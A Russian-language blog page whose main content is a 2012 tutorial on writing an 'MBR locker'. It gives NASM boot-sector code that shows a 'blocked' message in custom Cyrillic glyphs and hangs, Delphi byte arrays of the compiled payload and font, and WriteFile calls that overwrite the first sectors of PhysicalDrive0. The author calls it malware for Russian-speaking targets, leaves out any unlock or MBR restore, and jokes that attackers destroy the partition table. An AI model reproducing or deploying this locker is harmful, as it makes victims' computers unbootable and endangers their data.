Общее·количество·просмотров·страницы

пятница, 27 июля 2012 г.

Делы

Давно ничего не писал сюда после последней статьи.Сейчас есть несколько идей для статей,но нету времени практически,заказы дали,да и так,иногда вместо клавиатуры хочется полабать и на басу,и чего уж там скрывать-выпить пива с посонами у пАдъезда)).
Думаю в начале нового месяца запилю какую то интересную рюшечку.
Пока!)

суббота, 7 июля 2012 г.

Пишем mbr locker


Сегодня в этой статье я хотел бы разобрать механизмы такого зверя как mbr locker и показать в виде кода простой пример написания таких зверей(обещал няшки после сессии )).
  
Огромное спасибо sleshu за консультации по битовым матрицам.

Арсенал:

1) NASM. я перехожу на этот компилятор в виду удобства программирования низкоуровневых вещей.
2) Delphi (можно использовать любой удобный вам ЯП)
3)WINHEX (HIEW или любой удобный вам хексредактор)
4)Эмулятор (emu8086, bochs, или виртуальную машину)
5)Документация по прерываниям BIOS
6)Калькулятор

и так начнем.

Что собой являет mbr.

MBR это главная загрузочная запись, код, необходимый для последующей загрузки ОС и расположен в первом секторе ЖД (или другого ус-ва).

После включения питания компьютера, проходит так называемая процедура POST тестирующая аппаратное обеспечение ,по прохождению которой BIOS загружает MBR  в оперативную память по адресу 0x7C00 и передает ему управление.

С этого и начинаем отталкиваться. Т.е. пишем  загрузчик.

[BITS 16]
[ORG 0x7C00]

указываем на 16 битный код и устанавливаем «нужный» адрес.

после этого мы должны настроить сегменты, при не правильно настроенных сегментах прерывания могут «повесить» систему.

mov     ax, cs              
cli                   
mov     ss, ax              
mov     es, ax  
mov     ds, ax             
mov     sp, entry          ;
sti

ax= сегменту кода
стэк-такой же как и сегмент кода, данные также-все в одном месте.
при настройке запрещаем прерывания, потому что мы еще не готовы
после настройки-включаем прерывания.

По сути дела основа есть. Дальше мы должны подумать. У нас нет ни прерываний ДОС ни функций WINDOWS (это понятно я думаю) так что остается работать с экраном только через прерывания BIOS.

Прежде всего произведем очистку экрана (это, кстати, сыграет полезную роль при эмуляции через bochs)

mov ax,03
int 0x10

Теперь следующий, очень важный момент. Прерывания BIOS не умеет\не знает русские символы. Предположим что мы затачиваем нашу малварь под русскоязычную аудиторию.

Для того что бы мы могли писать русским нам требуется составить битовые матрицы, записать их в файл в виде хекса и подгружать( спасибо sleshu за разбор битовых матриц)

что собой представляет битовая матрица. Стандартные размеры символов возьмем как 8х16 соответственно буква «Я» будет выглядеть так:



Как составляем такой файл. Берем рисуем любой символ с помошью битовой матрицы.
далее каждую строку переводим в хекс и записываем в файл по порядку начиная от ascii кода 192 до 255.

Соответственно буква «Я» будет выглядеть так:

00, 00, 7E, C6, C6, C6, C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00

Не трудно понять что каждой букве будет соответствовать 16 байт ее описания.

Дальше стает ясно, что разместить весь алфавит (даже с заменой некоторых русских символов на латинские) нельзя. Не хватит места для сообщения и вообще мы можем не уместиться в размер мбр-512 байт, потому что в русском алфавите 33 буквы если для каждой составить описание получается 528байт. Значит нам нужно составить файл шрифтов, записать его в какие либо сектора и оттуда читать.

Думаем заранее в какие сектора будем писать, потому что это задача высокоуровневой программы.Т.к. файл шрифтов получился у меня ровно 1кб (1024 байта, т.к. я откинул буквы Ё и ё) .Размер одного сектора=512 байт, я буду писать во 2 и 3 сектора.

Загрузка таблицы в память

mov ah,0x02
mov al,0x02
mov bx,0x1000
mov cx,0x0002
int 0x13

Вторая ф-я 13 прерывания- чтение секторов
читаем 2 сектора (2 и 3)
записываем таблицу по адресу 0х1000
чтение начинаем со 2-го сектора.
Для эмуляции на дискете нужно добавить еще xor dx,dx ибо после передачи управления mbr в младшем байте регистра оказывается значение  диска на котором мы находимся, соответственно у дискеты он =0, высокоуровневая программа переписывает mbr таким образом что запоминать младший байт нет необходимости. Далее это будет видно.

После чтения таблицы нужно изменить ее.

Изменение таблицы

mov ah,0x11
xor al,al
mov bp,bx
mov cx,64
mov dx,192
int 0x10

11 функция 0 подфункция смена на пользовательскую палитру.
адрес таблицы был в bx
64 палитры
изменяем начиная с 192 символа (код АСКИ буква «А»)

Вот собсно и все. Дальше нам остается только выводить сообщения.

mov ah,0x13
xor al,al
mov bx,00001010b
xor dx,dx
mov cx,msgend-msg
call msgend

msg db 'заблокировано'

msgend:
   pop bp            
   int 0x10
   jmp $
13 ф-я  0 подфунк. писать строку.
в bx задается атрибуты символов.

0 1 2 бит- цвет символа- ярко зеленый
3 бит- яркость- яркий
4 5 6 бит- задний план- черный
7 бит- мерцание- без мерцания

выводим с позиции начала экрана.
cx длинна сообщения.

bp- сообщение

и зависаем в бесконечном цикле.

Я не делал ввода строки, ее проверки, возврата и записи оригинального мбр, т.к. статья носит чисто поучительный характер, и добрые хацкеры не будут восстанавливать мбр, а еще и таблицу разделов снесут нахрен :D для них главное- выхлоп.
Что то отошли от темы. в завершении заполняем оставшееся про-во 0 и указываем сигнатуру mbr.

TIMES 510-($-$$) db 0
dw 0xAA55

для эмуляции на дискете последней строчкой укажите включение файла шрифтов

incbin file.fnt

все. С низким уровнем мы покончили. Приступаем к написанию высокоуровневой части.

Открываем делфю, создаем юнит, т.к. мы будем юзать чисто АПИ.

Я додумал лишь 2 метода:
1)Разобрать все хекс редактором и создать массивы байт
2)Запихать все в ресурсы-доставать-читать-писать.

Применять буду первый.И так берем загрузчик и открываем в winhex. с помощью команды edit->copy block->pascal source получаем готовый набор байт уже в синтаксисе Delphi. Так же делаем и с таблицей, то есть получается 3 массива. Таблицу делим до смещения 200 - 1-ая часть, после 200 вторая часть.

имеем

mbr:array[1..512]of byte =(
            $8C, $C8, $FA, $8E, $D0, $8E, $C0, $8E, $D8, $BC, $00, $7C, $FB, $B8, $03, $00,
            $CD, $10, $B4, $02, $B0, $02, $BB, $00, $10, $B9, $02, $00, $CD, $13, $B4, $11,
            $30, $C0, $89, $DD, $B9, $40, $00, $BA, $C0, $00, $CD, $10, $B4, $13, $30, $C0,
            $BB, $0A, $00, $31, $D2, $B9, $0D, $00, $E8, $0D, $00, $E7, $E0, $E1, $EB, $EE,
            $EA, $E8, $F0, $EE, $E2, $E0, $ED, $EE, $5D, $CD, $10, $EB, $FE, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $55, $AA
);

tbl_1S:array [1..512]of byte =($00, $00, $3E, $66, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $FE, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FC, $C6, $C6, $C6, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FE, $C6, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
            $00, $00, $FE, $C6, $C0, $C0, $F0, $C0, $C0, $C0, $C6, $FE, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $54, $7C, $D6, $D6, $D6, $D6, $D6, $00, $00, $00, $00,
            $00, $00, $7C, $C6, $06, $06, $1C, $06, $06, $C6, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
            $00, $0C, $DA, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $CC, $D8, $F0, $F0, $D8, $CC, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $1E, $36, $66, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $EE, $EE, $FE, $FE, $D6, $D6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $7C, $C6, $C6, $C0, $C0, $C0, $C0, $C6, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $7E, $7E, $5A, $18, $18, $18, $18, $18, $18, $18, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $7C, $D6, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $6C, $38, $38, $6C, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $02, $06, $04, $00,
            $00, $00, $C6, $C6, $C6, $C6, $C6, $7E, $06, $06, $06, $06, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
            $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
            $00, $00, $E0, $E0, $60, $60, $7C, $66, $66, $66, $66, $7C, $00, $00, $00, $00,
            $00, $00, $C6, $C6, $C6, $C6, $E6, $B6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
            $00, $00, $C0, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $78, $CC, $06, $06, $1E, $1E, $06, $06, $CC, $78, $00, $00, $00, $00,
            $00, $00, $9C, $B6, $B6, $B6, $F6, $B6, $B6, $B6, $B6, $9C, $00, $00, $00, $00,
            $00, $00, $7E, $C6, $C6, $C6, $C6, $7E, $36, $66, $C6, $C6, $00, $00, $00, $00
);

tbl_2S: array [1..512] of byte=($00, $00, $00, $00, $00, $7C, $C6, $C6, $C6, $FE, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FC, $C6, $C6, $FC, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C6, $C2, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $C6, $FC, $C0, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $7C, $D6, $D6, $D6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $06, $1C, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $0C, $18, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $CC, $D8, $F8, $D8, $CC, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $3E, $66, $66, $66, $66, $66, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $EE, $FE, $D6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $C0, $C0, $C2, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $5A, $18, $18, $18, $18, $18, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00,
            $00, $00, $00, $00, $10, $7C, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00,
            $00, $00, $00, $00, $00, $C6, $6C, $38, $38, $6C, $C6, $C6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $06, $0C, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $7E, $06, $06, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
            $00, $00, $00, $00, $00, $E0, $60, $7C, $66, $66, $66, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C6, $C6, $E6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $C0, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7C, $C6, $06, $1E, $06, $C6, $7C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $9C, $B6, $B6, $F6, $B6, $B6, $9C, $00, $00, $00, $00,
            $00, $00, $00, $00, $00, $7E, $C6, $C6, $7E, $36, $66, $C6, $00, $00, $00, $00
);

Остается лишь осуществить запись:

CreateFile('\\.\PhysicalDrive0',GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);

открываем диск

WriteFile(f,mbr,sizeof(mbr),nw,nil);
записываем мбр

SetFilePointer(f,1*512,nil,FILE_BEGIN);
WriteFile(f,tbl_1S,sizeof(tbl_1S),nw,nil);

SetFilePointer(f,2*512,nil,FILE_BEGIN);
WriteFile(f,tbl_2S,sizeof(tbl_2S),nw,nil);

CloseHandle(f)

записываем таблицу во второй и третий секторы.

запись производится по формуле номер сектора*512.

закрываем диск.

Вот в общем то и все.

Результат:


В целом на этом все. Спасибо за внимание, надеюсь кому то было интересно.